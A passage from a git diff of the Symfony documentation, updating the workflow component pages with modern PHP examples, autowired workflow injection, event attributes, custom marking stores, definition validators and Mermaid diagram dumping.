</workflow/dumping-workflows>`. -The configured property will be used via it's implemented getter/setter methods by the marking store:: +.. tip:: + + You can use PHP constants in YAML files via the ``!php/const `` notation. + E.g. you can use ``!php/const App\Entity\BlogPost::STATE_DRAFT`` instead of + ``'draft'`` or ``!php/const App\Entity\BlogPost::TRANSITION_TO_REVIEW`` + instead of ``'to_review'``. + +.. tip:: + + You can omit the ``places`` option if your transitions define all the places + that are used in the workflow. Symfony will automatically extract the places + from the transitions. + + .. versionadded:: 7.1 + + The support for omitting the ``places`` option was introduced in + Symfony 7.1. + +The configured property will be used via its implemented getter/setter methods by the marking store:: // src/Entity/BlogPost.php namespace App\Entity; @@ -171,20 +191,54 @@ The configured property will be used via it's implemented getter/setter methods class BlogPost { // the configured marking store property must be declared - private $currentPlace; - private $title; - private $content; + private string $currentPlace; + private string $title; + private string $content; // getter/setter methods must exist for property access by the marking store - public function getCurrentPlace() + public function getCurrentPlace(): string { return $this->currentPlace; } - public function setCurrentPlace($currentPlace, $context = []) + public function setCurrentPlace(string $currentPlace, array $context = []): void { $this->currentPlace = $currentPlace; } + + // you don't need to set the initial marking in the constructor or any other method; + // this is configured in the workflow with the 'initial_marking' option + } + +It is also possible to use public properties for the marking store. The above +class would become the following:: + + // src/Entity/BlogPost.php + namespace App\Entity; + + class BlogPost + { + // the configured marking store property must be declared + public string $currentPlace; + public string $title; + public string $content; + } + +When using public properties, context is not supported. In order to support it, +you must declare a setter to write your property:: + + // src/Entity/BlogPost.php + namespace App\Entity; + + class BlogPost + { + public string $currentPlace; + // ... + + public function setCurrentPlace(string $currentPlace, array $context = []): void + { + // assign the property and do something with the context + } } .. note:: @@ -197,7 +251,10 @@ The configured property will be used via it's implemented getter/setter methods preferable to not configure it. A single state marking store uses a ``string`` to store the data. A multiple - state marking store uses an ``array`` to store the data. + state marking store uses an ``array`` to store the data. If no state marking + store is defined you have to return ``null`` in both cases (e.g. the above + example should define a return type like ``App\Entity\BlogPost::getCurrentPlace(): ?array`` + or like ``App\Entity\BlogPost::getCurrentPlace(): ?string``). .. tip:: @@ -218,6 +275,8 @@ what actions are allowed on a blog post:: use Symfony\Component\Workflow\Exception\LogicException; $post = new BlogPost(); + // you don't need to set the initial marking with code; this is configured + // in the workflow with the 'initial_marking' option $workflow = $this->container->get('workflow.blog_publishing'); $workflow->can($post, 'publish'); // False @@ -232,32 +291,68 @@ what actions are allowed on a blog post:: // See all the available transitions for the post in the current state $transitions = $workflow->getEnabledTransitions($post); + // See a specific available transition for the post in the current state + $transition = $workflow->getEnabledTransition($post, 'publish'); + +Using a multiple state marking store +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +If you are creating a :doc:`workflow </workflow/workflow-and-state-machine>`, +your marking store may need to contain multiple places at the same time. That's why, +if you are using Doctrine, the matching column definition should use the type ``json``:: + + // src/Entity/BlogPost.php + namespace App\Entity; + + use Doctrine\DBAL\Types\Types; + use Doctrine\ORM\Mapping as ORM; + + #[ORM\Entity] + class BlogPost + { + #[ORM\Id] + #[ORM\GeneratedValue] + #[ORM\Column] + private int $id; + + #[ORM\Column(type: Types::JSON)] + private array $currentPlaces; + + // ... + } + +.. warning:: + + You should not use the type ``simple_array`` for your marking store. Inside + a multiple state marking store, places are stored as keys with a value of one, + such as ``['draft' => 1]``. If the marking store contains only one place, + this Doctrine type will store its value only as a string, resulting in the + loss of the object's current place. Accessing the Workflow in a Class --------------------------------- -To access workflow inside a class, use dependency injection and inject the -registry in the constructor:: +You can use the workflow inside a class by using +:doc:`service autowiring </service_container/autowiring>` and using +``camelCased workflow name + Workflow`` as parameter name. If it is a state +machine type, use ``camelCased workflow name + StateMachine``:: use App\Entity\BlogPost; - use Symfony\Component\Workflow\Registry; + use Symfony\Component\Workflow\WorkflowInterface; class MyClass { - private $workflowRegistry; - - public function __construct(Registry $workflowRegistry) - { - $this->workflowRegistry = $workflowRegistry; + public function __construct( + // Symfony will inject the 'blog_publishing' workflow configured before + private WorkflowInterface $blogPublishingWorkflow, + ) { } - public function toReview(BlogPost $post) + public function toReview(BlogPost $post): void { - $workflow = $this->workflowRegistry->get($post); - // Update the currentState on the post try { - $workflow->apply($post, 'to_review'); + $this->blogPublishingWorkflow->apply($post, 'to_review'); } catch (LogicException $exception) { // ... } @@ -265,6 +360,63 @@ registry in the constructor:: } } +To get the enabled transition of a Workflow, you can use +:method:`Symfony\\Component\\Workflow\\WorkflowInterface::getEnabledTransition` +method. + +.. versionadded:: 7.1 + + The :method:`Symfony\\Component\\Workflow\\WorkflowInterface::getEnabledTransition` + method was introduced in Symfony 7.1. + +Workflows can also be injected thanks to their name and the +:class:`Symfony\\Component\\DependencyInjection\\Attribute\\Target` +attribute:: + + use App\Entity\BlogPost; + use Symfony\Component\DependencyInjection\Attribute\Target; + use Symfony\Component\Workflow\WorkflowInterface; + + class MyClass + { + public function __construct( + #[Target('blog_publishing')] + private WorkflowInterface $workflow + ) { + } + + // ... + } + +This allows you to decorrelate the argument name of any implementation +name. + +.. tip:: + + If you want to retrieve all workflows, for documentation purposes for example, + you can :doc:`inject all services </service_container/service_subscribers_locators>` + with the following tag: + + * ``workflow``: all workflows and all state machine; + * ``workflow.workflow``: all workflows; + * ``workflow.state_machine``: all state machines. + + Note that workflow metadata are attached to tags under the ``metadata`` key, + giving you more context and information about the workflow at disposal. + Learn more about :ref:`tag attributes <tags_additional-attributes>` and + :ref:`storing workflow metadata <workflow_storing-metadata>`. + + .. versionadded:: 7.1 + + The attached configuration to the tag was introduced in Symfony 7.1. + +.. tip:: + + You can find the list of available workflow services with the + ``php bin/console debug:autowiring workflow`` command. + +.. _workflow_using-events: + Using Events ------------ @@ -341,7 +493,6 @@ order: * ``workflow.[workflow name].completed`` * ``workflow.[workflow name].completed.[transition name]`` - ``workflow.announce`` Triggered for each transition that now is accessible for the subject. @@ -351,10 +502,25 @@ order: * ``workflow.[workflow name].announce`` * ``workflow.[workflow name].announce.[transition name]`` + After a transition is applied, the announce event tests for all available + transitions. That will trigger all :ref:`guard events <workflow-usage-guard-events>` + once more, which could impact performance if they include intensive CPU or + database workloads. + + If you don't need the announce event, disable it using the context:: + + $workflow->apply($subject, $transitionName, [Workflow::DISABLE_ANNOUNCE_EVENT => true]); + .. note:: The leaving and entering events are triggered even for transitions that stay - in same place. + in the same place. + +.. note:: + + If you initialize the marking by calling ``$workflow->getMarking($object);``, + then the ``workflow.[workflow_name].entered.[initial_place_name]`` event will + be called with the default context (``Workflow::DEFAULT_INITIAL_CONTEXT``). Here is an example of how to enable logging for every time a "blog_publishing" workflow leaves a place:: @@ -365,17 +531,16 @@ workflow leaves a place:: use Psr\Log\LoggerInterface; use Symfony\Component\EventDispatcher\EventSubscriberInterface; use Symfony\Component\Workflow\Event\Event; + use Symfony\Component\Workflow\Event\LeaveEvent; class WorkflowLoggerSubscriber implements EventSubscriberInterface { - private $logger; - - public function __construct(LoggerInterface $logger) - { - $this->logger = $logger; + public function __construct( + private LoggerInterface $logger, + ) { } - public function onLeave(Event $event) + public function onLeave(Event $event): void { $this->logger->alert(sprintf( 'Blog post (id: "%s") performed transition "%s" from "%s" to "%s"', @@ -386,20 +551,71 @@ workflow leaves a place:: )); } - public static function getSubscribedEvents() + public static function getSubscribedEvents(): array { return [ - 'workflow.blog_publishing.leave' => 'onLeave', + LeaveEvent::getName('blog_publishing') => 'onLeave', + // if you prefer, you can write the event name manually like this: + // 'workflow.blog_publishing.leave' => 'onLeave', ]; } } +.. tip:: + + All built-in workflow events define the ``getName(?string $workflowName, ?string $transitionOrPlaceName)`` + method to build the full event name without having to deal with strings. + You can also use this method in your custom events via the + :class:`Symfony\\Component\\Workflow\\Event\\EventNameTrait`. + + .. versionadded:: 7.1 + + The ``getName()`` method was introduced in Symfony 7.1. + +If some listeners update the context during a transition, you can retrieve +it via the marking:: + + $marking = $workflow->apply($post, 'to_review'); + + // contains the new value + $marking->getContext(); + +It is also possible to listen to these events by declaring event listeners +with the following attributes: + +* :class:`Symfony\\Component\\Workflow\\Attribute\\AsAnnounceListener` +* :class:`Symfony\\Component\\Workflow\\Attribute\\AsCompletedListener` +* :class:`Symfony\\Component\\Workflow\\Attribute\\AsEnterListener` +* :class:`Symfony\\Component\\Workflow\\Attribute\\AsEnteredListener` +* :class:`Symfony\\Component\\Workflow\\Attribute\\AsGuardListener` +* :class:`Symfony\\Component\\Workflow\\Attribute\\AsLeaveListener` +* :class:`Symfony\\Component\\Workflow\\Attribute\\AsTransitionListener` + +These attributes do work like the +:class:`Symfony\\Component\\EventDispatcher\\Attribute\\AsEventListener` +attributes:: + + class ArticleWorkflowEventListener + { + #[AsTransitionListener(workflow: 'my-workflow', transition: 'published')] + public function onPublishedTransition(TransitionEvent $event): void + { + // ... + } + + // ... + } + +You may refer to the documentation about +:ref:`defining event listeners with PHP attributes <event-dispatcher_event-listener-attributes>` +for further use. + .. _workflow-usage-guard-events: Guard Events ~~~~~~~~~~~~ -There are a special kind of events called "Guard events". Their event listeners +There are special types of events called "Guard events". Their event listeners are invoked every time a call to ``Workflow::can()``, ``Workflow::apply()`` or ``Workflow::getEnabledTransitions()`` is executed. With the guard events you may add custom logic to decide which transitions should be blocked or not. Here is a @@ -421,7 +637,7 @@ missing a title:: class BlogPostReviewSubscriber implements EventSubscriberInterface { - public function guardReview(GuardEvent $event) + public function guardReview(GuardEvent $event): void { /** @var BlogPost $post */ $post = $event->getSubject(); @@ -432,7 +648,7 @@ missing a title:: } } - public static function getSubscribedEvents() + public static function getSubscribedEvents(): array { return [ 'workflow.blog_publishing.guard.to_review' => ['guardReview'], @@ -440,17 +656,11 @@ missing a title:: } } -.. versionadded:: 5.1 - - The optional second argument of ``setBlocked()`` was introduced in Symfony 5.1. +.. _workflow-chosing-events-to-dispatch: Choosing which Events to Dispatch ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -.. versionadded:: 5.2 - - Ability to choose which events to dispatch was introduced in Symfony 5.2. - If you prefer to control which events are fired when performing each transition, use the ``events_to_dispatch`` configuration option. This option does not apply to :ref:`Guard events <workflow-usage-guard-events>`, which are always fired: @@ -498,23 +708,25 @@ to :ref:`Guard events <workflow-usage-guard-events>`, which are always fired: .. code-block:: php // config/packages/workflow.php - $container->loadFromExtension('framework', [ + use Symfony\Config\FrameworkConfig; + + return static function (FrameworkConfig $framework): void { // ... - 'workflows' => [ - 'blog_publishing' => [ - // you can pass one or more event names - 'events_to_dispatch' => [ - 'workflow.leave', - 'workflow.completed', - ], - - // pass an empty array to not dispatch any event - 'events_to_dispatch' => [], - - // ... - ], - ], - ]); + + $blogPublishing = $framework->workflows()->workflows('blog_publishing'); + + // ... + // you can pass one or more event names + $blogPublishing->eventsToDispatch([ + 'workflow.leave', + 'workflow.completed', + ]); + + // pass an empty array to not dispatch any event + $blogPublishing->eventsToDispatch([]); + + // ... + }; You can also disable a specific event from being fired when applying a transition:: @@ -539,13 +751,7 @@ events specified in the workflow configuration. In the above example the ``workflow.leave`` event will not be fired, even if it has been specified as an event to be dispatched for all transitions in the workflow configuration. -.. versionadded:: 5.1 - - The ``Workflow::DISABLE_ANNOUNCE_EVENT`` constant was introduced in Symfony 5.1. - -.. versionadded:: 5.2 - - The constants for other events (as seen below) were introduced in Symfony 5.2. +These are all the available constants: * ``Workflow::DISABLE_LEAVE_EVENT`` * ``Workflow::DISABLE_TRANSITION_EVENT`` @@ -620,7 +826,7 @@ transition. The value of this option is any valid expression created with the from: draft to: reviewed publish: - # or "is_anonymous", "is_remember_me", "is_fully_authenticated", "is_granted", "is_valid" + # or "is_remember_me", "is_fully_authenticated", "is_granted", "is_valid" guard: "is_authenticated" from: reviewed to: published @@ -655,7 +861,7 @@ transition. The value of this option is any valid expression created with the </framework:transition> <framework:transition name="publish"> - <!-- or "is_anonymous", "is_remember_me", "is_fully_authenticated", "is_granted" --> + <!-- or "is_remember_me", "is_fully_authenticated", "is_granted" --> <framework:guard>is_authenticated</framework:guard> <framework:from>reviewed</framework:from> <framework:to>published</framework:to> @@ -676,36 +882,33 @@ transition. The value of this option is any valid expression created with the .. code-block:: php // config/packages/workflow.php - use App\Entity\BlogPost; - - $container->loadFromExtension('framework', [ - 'workflows' => [ - 'blog_publishing' => [ - // ... previous configuration - - 'transitions' => [ - 'to_review' => [ - // the transition is allowed only if the current user has the ROLE_REVIEWER role. - 'guard' => 'is_granted("ROLE_REVIEWER")', - 'from' => 'draft', - 'to' => 'reviewed', - ], - 'publish' => [ - // or "is_anonymous", "is_remember_me", "is_fully_authenticated", "is_granted" - 'guard' => 'is_authenticated', - 'from' => 'reviewed', - 'to' => 'published', - ], - 'reject' => [ - // or any valid expression language with "subject" referring to the post - 'guard' => 'is_granted("ROLE_ADMIN") and subject.isStatusReviewed()', - 'from' => 'reviewed', - 'to' => 'rejected', - ], - ], - ], - ], - ]); + use Symfony\Config\FrameworkConfig; + + return static function (FrameworkConfig $framework): void { + $blogPublishing = $framework->workflows()->workflows('blog_publishing'); + // ... previous configuration + + $blogPublishing->transition() + ->name('to_review') + // the transition is allowed only if the current user has the ROLE_REVIEWER role. + ->guard('is_granted("ROLE_REVIEWER")') + ->from(['draft']) + ->to(['reviewed']); + + $blogPublishing->transition() + ->name('publish') + // or "is_remember_me", "is_fully_authenticated", "is_granted" + ->guard('is_authenticated') + ->from(['reviewed']) + ->to(['published']); + + $blogPublishing->transition() + ->name('reject') + // or any valid expression language with "subject" referring to the post + ->guard('is_granted("ROLE_ADMIN") and subject.isStatusReviewed()') + ->from(['reviewed']) + ->to(['rejected']); + }; You can also use transition blockers to block and return a user-friendly error message when you stop a transition from happening. @@ -726,7 +929,7 @@ place:: class BlogPostPublishSubscriber implements EventSubscriberInterface { - public function guardPublish(GuardEvent $event) + public function guardPublish(GuardEvent $event): void { $eventTransition = $event->getTransition(); $hourLimit = $event->getMetadata('hour_limit', $eventTransition); @@ -741,7 +944,7 @@ place:: $event->addTransitionBlocker(new TransitionBlocker($explanation , '0')); } - public static function getSubscribedEvents() + public static function getSubscribedEvents(): array { return [ 'workflow.blog_publishing.guard.publish' => ['guardPublish'], @@ -749,6 +952,89 @@ place:: } } +Creating Your Own Marking Store +------------------------------- + +You may need to implement your own store to execute some additional logic +when the marking is updated. For example, you may have some specific needs +to store the marking on certain workflows. To do this, you need to implement +the +:class:`Symfony\\Component\\Workflow\\MarkingStore\\MarkingStoreInterface`:: + + namespace App\Workflow\MarkingStore; + + use Symfony\Component\Workflow\Marking; + use Symfony\Component\Workflow\MarkingStore\MarkingStoreInterface; + + final class BlogPostMarkingStore implements MarkingStoreInterface + { + /** + * @param BlogPost $subject + */ + public function getMarking(object $subject): Marking + { + return new Marking([$subject->getCurrentPlace() => 1]); + } + + /** + * @param BlogPost $subject + */ + public function setMarking(object $subject, Marking $marking, array $context = []): void + { + $marking = key($marking->getPlaces()); + $subject->setCurrentPlace($marking); + } + } + +Once your marking store is implemented, you can configure your workflow to use +it: + +.. configuration-block:: + + .. code-block:: yaml + + # config/packages/workflow.yaml + framework: + workflows: + blog_publishing: + # ... + marking_store: + service: 'App\Workflow\MarkingStore\BlogPostMarkingStore' + + .. code-block:: xml + + <!-- config/packages/workflow.xml --> + <?xml version="1.0" encoding="UTF-8" ?> + <container xmlns="http://symfony.com/schema/dic/services" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xmlns:framework="http://symfony.com/schema/dic/symfony" + xsi:schemaLocation="http://symfony.com/schema/dic/services https://symfony.com/schema/dic/services/services-1.0.xsd + http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd" + > + <framework:config> + <framework:workflow name="blog_publishing"> + <!-- ... --> + <framework:marking-store service="App\Workflow\MarkingStore\BlogPostMarkingStore"/> + </framework:workflow> + </framework:config> + </container> + + .. code-block:: php + + // config/packages/workflow.php + use App\Workflow\MarkingStore\ReflectionMarkingStore; + use Symfony\Config\FrameworkConfig; + + return static function (FrameworkConfig $framework): void { + // ... + + $blogPublishing = $framework->workflows()->workflows('blog_publishing'); + // ... + + $blogPublishing->markingStore() + ->service(BlogPostMarkingStore::class); + }; + Usage in Twig ------------- @@ -761,6 +1047,9 @@ of domain logic in your templates: ``workflow_transitions()`` Returns an array with all the transitions enabled for the given object. +``workflow_transition()`` + Returns a specific transition enabled for the given object and transition name. + ``workflow_marked_places()`` Returns an array with the place names of the given marking. @@ -807,6 +1096,8 @@ The following example shows these functions in action: <span class="error">{{ blocker.message }}</span> {% endfor %} +.. _workflow_storing-metadata: + Storing Metadata ---------------- @@ -887,66 +1178,65 @@ be only the title of the workflow or very complex objects: .. code-block:: php // config/packages/workflow.php - $container->loadFromExtension('framework', [ + use Symfony\Config\FrameworkConfig; + + return static function (FrameworkConfig $framework): void { + $blogPublishing = $framework->workflows()->workflows('blog_publishing'); + // ... previous configuration + + $blogPublishing->metadata([ + 'title' => 'Blog Publishing Workflow' + ]); + // ... - 'workflows' => [ - 'blog_publishing' => [ - 'metadata' => [ - 'title' => 'Blog Publishing Workflow', - ], - // ... - 'places' => [ - 'draft' => [ - 'metadata' => [ - 'max_num_of_words' => 500, - ], - ], - // ... - ], - 'transitions' => [ - 'to_review' => [ - 'from' => 'draft', - 'to' => 'review', - 'metadata' => [ - 'priority' => 0.5, - ], - ], - 'publish' => [ - 'from' => 'reviewed', - 'to' => 'published', - 'metadata' => [ - 'hour_limit' => 20, - 'explanation' => 'You can not publish after 8 PM.', - ], - ], - ], - ], - ], - ]); + + $blogPublishing->place() + ->name('draft') + ->metadata([ + 'max_num_of_words' => 500, + ]); + + // ... + + $blogPublishing->transition() + ->name('to_review') + ->from(['draft']) + ->to(['reviewed']) + ->metadata([ + 'priority' => 0.5, + ]); + + $blogPublishing->transition() + ->name('publish') + ->from(['reviewed']) + ->to(['published']) + ->metadata([ + 'hour_limit' => 20, + 'explanation' => 'You can not publish after 8 PM.', + ]); + }; Then you can access this metadata in your controller as follows:: // src/App/Controller/BlogPostController.php use App\Entity\BlogPost; - use Symfony\Component\Workflow\Registry; + use Symfony\Component\Workflow\WorkflowInterface; // ... - public function myAction(Registry $registry, BlogPost $post) + public function myAction(WorkflowInterface $blogPublishingWorkflow, BlogPost $post): Response { - $workflow = $registry->get($post); - - $title = $workflow + $title = $blogPublishingWorkflow ->getMetadataStore() ->getWorkflowMetadata()['title'] ?? 'Default title' ; - $maxNumOfWords = $workflow + $maxNumOfWords = $blogPublishingWorkflow ->getMetadataStore() ->getPlaceMetadata('draft')['max_num_of_words'] ?? 500 ; - $aTransition = $workflow->getDefinition()->getTransitions()[0]; - $priority = $workflow + $aTransition = $blogPublishingWorkflow->getDefinition()->getTransitions()[0]; + $priority = $blogPublishingWorkflow ->getMetadataStore() ->getTransitionMetadata($aTransition)['priority'] ?? 0 ; @@ -969,7 +1259,7 @@ In a :ref:`flash message <flash-messages>` in your controller:: // $transition = ...; (an instance of Transition) - // $workflow is a Workflow instance retrieved from the Registry (see above) + // $workflow is an injected Workflow instance $title = $workflow->getMetadataStore()->getMetadata('title', $transition); $this->addFlash('info', "You have successfully applied the transition with title: '$title'"); @@ -1006,6 +1296,96 @@ In Twig templates, metadata is available via the ``workflow_metadata()`` functio {% endfor %} </ul> </p> + <p> + <strong>to_review Priority</strong> + <ul> + <li> + to_review: + <code>{{ workflow_metadata(blog_post, 'priority', workflow_transition(blog_post, 'to_review')) }}</code> + </li> + </ul> + </p> + +Validating Workflow Definitions +------------------------------- + +Symfony allows you to validate workflow definitions using your own custom logic. +To do so, create a class that implements the +:class:`Symfony\\Component\\Workflow\\Validator\\DefinitionValidatorInterface`:: + + namespace App\Workflow\Validator; + + use Symfony\Component\Workflow\Definition; + use Symfony\Component\Workflow\Exception\InvalidDefinitionException; + use Symfony\Component\Workflow\Validator\DefinitionValidatorInterface; + + final class BlogPublishingValidator implements DefinitionValidatorInterface + { + public function validate(Definition $definition, string $name): void + { + if (!$definition->getMetadataStore()->getMetadata('title')) { + throw new InvalidDefinitionException(sprintf('The workflow metadata title is missing in Workflow "%s".', $name)); + } + + // ... + } + } + +After implementing your validator, configure your workflow to use it: + +.. configuration-block:: + + .. code-block:: yaml + + # config/packages/workflow.yaml + framework: + workflows: + blog_publishing: + # ... + + definition_validators: + - App\Workflow\Validator\BlogPublishingValidator + + .. code-block:: xml + + <!-- config/packages/workflow.xml --> + <?xml version="1.0" encoding="UTF-8" ?> + <container xmlns="http://symfony.com/schema/dic/services" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xmlns:framework="http://symfony.com/schema/dic/symfony" + xsi:schemaLocation="http://symfony.com/schema/dic/services https://symfony.com/schema/dic/services/services-1.0.xsd + http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd" + > + <framework:config> + <framework:workflow name="blog_publishing"> + <!-- ... --> + <framework:definition-validators>App\Workflow\Validator\BlogPublishingValidator</framework:definition-validators> + </framework:workflow> + </framework:config> + </container> + + .. code-block:: php + + // config/packages/workflow.php + use Symfony\Config\FrameworkConfig; + + return static function (FrameworkConfig $framework): void { + $blogPublishing = $framework->workflows()->workflows('blog_publishing'); + // ... + + $blogPublishing->definitionValidators([ + App\Workflow\Validator\BlogPublishingValidator::class + ]); + + // ... + }; + +The ``BlogPublishingValidator`` will be executed during container compilation +to validate the workflow definition. + +.. versionadded:: 7.3 + + Support for workflow definition validators was introduced in Symfony 7.3. Learn more ---------- diff --git a/workflow/dumping-workflows.rst b/workflow/dumping-workflows.rst index d1749603155..8262fefd6c1 100644 --- a/workflow/dumping-workflows.rst +++ b/workflow/dumping-workflows.rst @@ -1,6 +1,3 @@ -.. index:: - single: Workflow; Dumping Workflows - How to Dump Workflows ===================== @@ -9,6 +6,7 @@ them as SVG or PNG images. First, install any of these free and open source applications needed to generate the images: * `Graphviz`_, provides the ``dot`` command; +* `Mermaid CLI`_, provides the ``mmdc`` command; * `PlantUML`_, provides the ``plantuml.jar`` file (which requires Java). If you are defining the workflow inside a Symfony application, run this command @@ -28,13 +26,23 @@ to dump it as an image: # highlight 'place1' and 'place2' in the dumped workflow $ php bin/console workflow:dump workflow-name place1 place2 | dot -Tsvg -o graph.svg + # using Mermaid.js CLI + $ php bin/console workflow:dump workflow_name --dump-format=mermaid | mmdc -o graph.svg + The DOT image will look like this: .. image:: /_images/components/workflow/blogpost.png + :alt: A state diagram of the Symfony workflow created by DOT. + +The Mermaid image will look like this: + +.. image:: /_images/components/workflow/blogpost_mermaid.png + :alt: A state diagram of the Symfony workflow created by Mermaid. The PlantUML image will look like this: .. image:: /_images/components/workflow/blogpost_puml.png + :alt: A state diagram of the Symfony workflow created by PlantUML. If you are creating workflows outside of a Symfony application, use the ``GraphvizDumper`` or ``StateMachineGraphvizDumper`` class to create the DOT @@ -57,13 +65,28 @@ files and ``PlantUmlDumper`` to create the PlantUML files:: Styling ------- +You can use ``--with-metadata`` option in the ``workflow:dump`` command to include places, transitions and +workflow's metadata. + +The DOT image will look like this : + +.. image:: /_images/components/workflow/blogpost_metadata.png + +.. note:: + + The ``--with-metadata`` option only works for the DOT dumper for now. + +.. note:: + + The ``label`` metadata is not included in the dumped metadata, because it is used as a place's title. + You can use ``metadata`` with the following keys to style the workflow: * for places: * ``bg_color``: a color; * ``description``: a string that describes the state. - + * for transitions: * ``label``: a string that replaces the name of the transition; @@ -76,6 +99,11 @@ Colors can be defined as: * a color name from `PlantUML's color list`_; * an hexadecimal color (both ``#AABBCC`` and ``#ABC`` formats are supported). +.. note:: + + The Mermaid dumper does not support coloring the arrow heads + with ``arrow_color`` as there is no support in Mermaid for doing so. + Below is the configuration for the pull request state machine with styling added. .. configuration-block:: @@ -169,7 +197,6 @@ Below is the configuration for the pull request state machine with styling added <framework:bg_color>DeepSkyBlue</framework:bg_color> </framework:metadata> </framework:place> - </framework:place> <framework:transition name="submit"> <framework:from>start</framework:from> @@ -235,80 +262,77 @@ Below is the configuration for the pull request state machine with styling added .. code-block:: php // config/packages/workflow.php - $container->loadFromExtension('framework', [ + use Symfony\Config\FrameworkConfig; + + return static function (FrameworkConfig $framework): void { // ... - 'workflows' => [ - 'pull_request' => [ - 'type' => 'state_machine', - 'marking_store' => [ - type: 'method', - property: 'currentPlace', - ], - 'supports' => ['App\Entity\PullRequest'], - 'initial_marking' => 'start', - 'places' => [ - 'start', - 'coding', - 'test', - 'review' => [ - 'metadata' => [ - 'description' => 'Human review', - ], - ], - 'merged', - 'closed' => [ - 'metadata' => [ - 'bg_color' => 'DeepSkyBlue', - ], - ], - ], - 'transitions' => [ - 'submit'=> [ - 'from' => 'start', - 'to' => 'test', - ], - 'update'=> [ - 'from' => ['coding', 'test', 'review'], - 'to' => 'test', - 'metadata' => [ - 'arrow_color' => 'Turquoise', - ], - ], - 'wait_for_review'=> [ - 'from' => 'test', - 'to' => 'review', - 'metadata' => [ - 'color' => 'Orange', - ], - ], - 'request_change'=> [ - 'from' => 'review', - 'to' => 'coding', - ], - 'accept'=> [ - 'from' => 'review', - 'to' => 'merged', - 'metadata' => [ - 'label' => 'Accept PR', - ], - ], - 'reject'=> [ - 'from' => 'review', - 'to' => 'closed', - ], - 'reopen'=> [ - 'from' => 'start', - 'to' => 'review', - ], - ], - ], - ], - ]); + $pullRequest = $framework->workflows()->workflows('pull_request'); + + $pullRequest + ->type('state_machine') + ->supports(['App\Entity\PullRequest']) + ->initialMarking(['start']); + + $pullRequest->markingStore() + ->type('method') + ->property('currentPlace'); + + $pullRequest->place()->name('start'); + $pullRequest->place()->name('coding'); + $pullRequest->place()->name('test'); + $pullRequest->place() + ->name('review') + ->metadata(['description' => 'Human review']); + $pullRequest->place()->name('merged'); + $pullRequest->place() + ->name('closed') + ->metadata(['bg_color' => 'DeepSkyBlue',]); + + $pullRequest->transition() + ->name('submit') + ->from(['start']) + ->to(['test']); + + $pullRequest->transition() + ->name('update') + ->from(['coding', 'test', 'review']) + ->to(['test']) + ->metadata(['arrow_color' => 'Turquoise']); + + $pullRequest->transition() + ->name('wait_for_review') + ->from(['test']) + ->to(['review']) + ->metadata(['color' => 'Orange']); + + $pullRequest->transition() + ->name('request_change') + ->from(['review']) + ->to(['coding']); + + $pullRequest->transition() + ->name('accept') + ->from(['review']) + ->to(['merged']) + ->metadata(['label' => 'Accept PR']); + + $pullRequest->transition() + ->name('reject') + ->from(['review']) + ->to(['closed']); + + $pullRequest->transition() + ->name('accept') + ->from(['closed']) + ->to(['review']); + }; The PlantUML image will look like this: .. image:: /_images/components/workflow/pull_request_puml_styled.png + :alt: A state diagram created by PlantUML with custom transition colors and descriptions. .. _`Graphviz`: https://www.graphviz.org +.. _`Mermaid CLI`: https://github.com/mermaid-js/mermaid-cli .. _`PlantUML`: https://plantuml.com/ .. _`PlantUML's color list`: https://plantuml.com/color diff --git a/workflow/workflow-and-state-machine.rst b/workflow/workflow-and-state-machine.rst index 730cf66bccc..3a034b97357 100644 --- a/workflow/workflow-and-state-machine.rst +++ b/workflow/workflow-and-state-machine.rst @@ -25,11 +25,13 @@ Examples The simplest workflow looks like this. It contains two places and one transition. .. image:: /_images/components/workflow/simple.png + :alt: A simple state diagram showing a single transition between two places. Workflows could be more complicated when they describe a real business case. The workflow below describes the process to fill in a job application. .. image:: /_images/components/workflow/job_application.png + :alt: A complex state diagram showing many places with multiple possible transitions between them. When you fill in a job application in this example there are 4 to 7 steps depending on the job you are applying for. Some jobs require personality @@ -63,6 +65,7 @@ pull request. At any time, you can also "update" the pull request, which will result in another continuous integration run. .. image:: /_images/components/workflow/pull_request.png + :alt: A state diagram for the pull request process described previously. Below is the configuration for the pull request state machine. @@ -78,6 +81,7 @@ Below is the configuration for the pull request state machine. marking_store: type: 'method' property: 'currentPlace' + # The "supports" option is useful only if you are using Twig functions ('workflow_*') supports: - App\Entity\PullRequest initial_marking: start @@ -124,14 +128,12 @@ Below is the configuration for the pull request state machine. <framework:config> <framework:workflow name="pull_request" type="state_machine"> - <framework:marking-store> - <framework:type>method</framework:type> - <framework:property>currentPlace</framework:property> - </framework:marking-store> + <framework:initial-marking>start</framework:initial-marking> - <framework:support>App\Entity\PullRequest</framework:support> + <framework:marking-store type="method" property="currentPlace"/> - <framework:initial_marking>start</framework:initial_marking> + <!-- The "supports" option is useful only if you are using Twig functions ('workflow_*') --> + <framework:support>App\Entity\PullRequest</framework:support> <framework:place>start</framework:place> <framework:place>coding</framework:place> @@ -192,108 +194,97 @@ Below is the configuration for the pull request state machine. .. code-block:: php // config/packages/workflow.php - $container->loadFromExtension('framework', [ - // ... - 'workflows' => [ - 'pull_request' => [ - 'type' => 'state_machine', - 'marking_store' => [ - 'type' => 'method', - 'property' => 'currentPlace', - ], - 'supports' => ['App\Entity\PullRequest'], - 'initial_marking' => 'start', - 'places' => [ - 'start', - 'coding', - 'test', - 'review', - 'merged', - 'closed', - ], - 'transitions' => [ - 'submit'=> [ - 'from' => 'start', - 'to' => 'test', - ], - 'update'=> [ - 'from' => ['coding', 'test', 'review'], - 'to' => 'test', - ], - 'wait_for_review'=> [ - 'from' => 'test', - 'to' => 'review', - ], - 'request_change'=> [ - 'from' => 'review', - 'to' => 'coding', - ], - 'accept'=> [ - 'from' => 'review', - 'to' => 'merged', - ], - 'reject'=> [ - 'from' => 'review', - 'to' => 'closed', - ], - 'reopen'=> [ - 'from' => 'start', - 'to' => 'review', - ], - ], - ], - ], - ]); - -In a Symfony application using the -:ref:`default services.yaml configuration <service-container-services-load-example>`, -you can get this state machine by injecting the Workflow registry service:: - - // ... - use App\Entity\PullRequest; - use Symfony\Component\Workflow\Registry; - - class SomeService - { - private $workflows; - - public function __construct(Registry $workflows) - { - $this->workflows = $workflows; - } - - public function someMethod(PullRequest $pullRequest) - { - $stateMachine = $this->workflows->get($pullRequest, 